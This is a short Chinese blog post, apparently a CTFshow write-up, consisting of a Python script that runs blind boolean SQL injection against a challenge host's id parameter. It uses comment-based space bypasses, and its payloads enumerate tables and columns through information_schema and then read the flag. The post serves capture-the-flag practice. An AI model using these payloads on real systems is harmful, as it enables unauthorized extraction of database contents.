CTFshow8 SQL

最新推荐文章于 2024-05-11 09:59:45 发布

王俊凯迷妹

最新推荐文章于 2024-05-11 09:59:45 发布

阅读量106

点赞数

分类专栏： sql

本文链接：https://blog.youkuaiyun.com/sinat_31884905/article/details/117112798

版权

sql 专栏收录该内容

7 篇文章

订阅专栏

# -*- coding: utf-8 -*-
"""
Created on Fri May 21 10:51:40 2021

@author: Administrator
"""


import requests
s=requests.session()
url='http://1774ea69-f82e-4a6b-825c-3e0becd685ab.challenge.ctf.show:8080/index.php'
table=""

for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

https://blog.youkuaiyun.com/weixin_45253622/article/details/116571039?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0&spm=1001.2101.3001.4242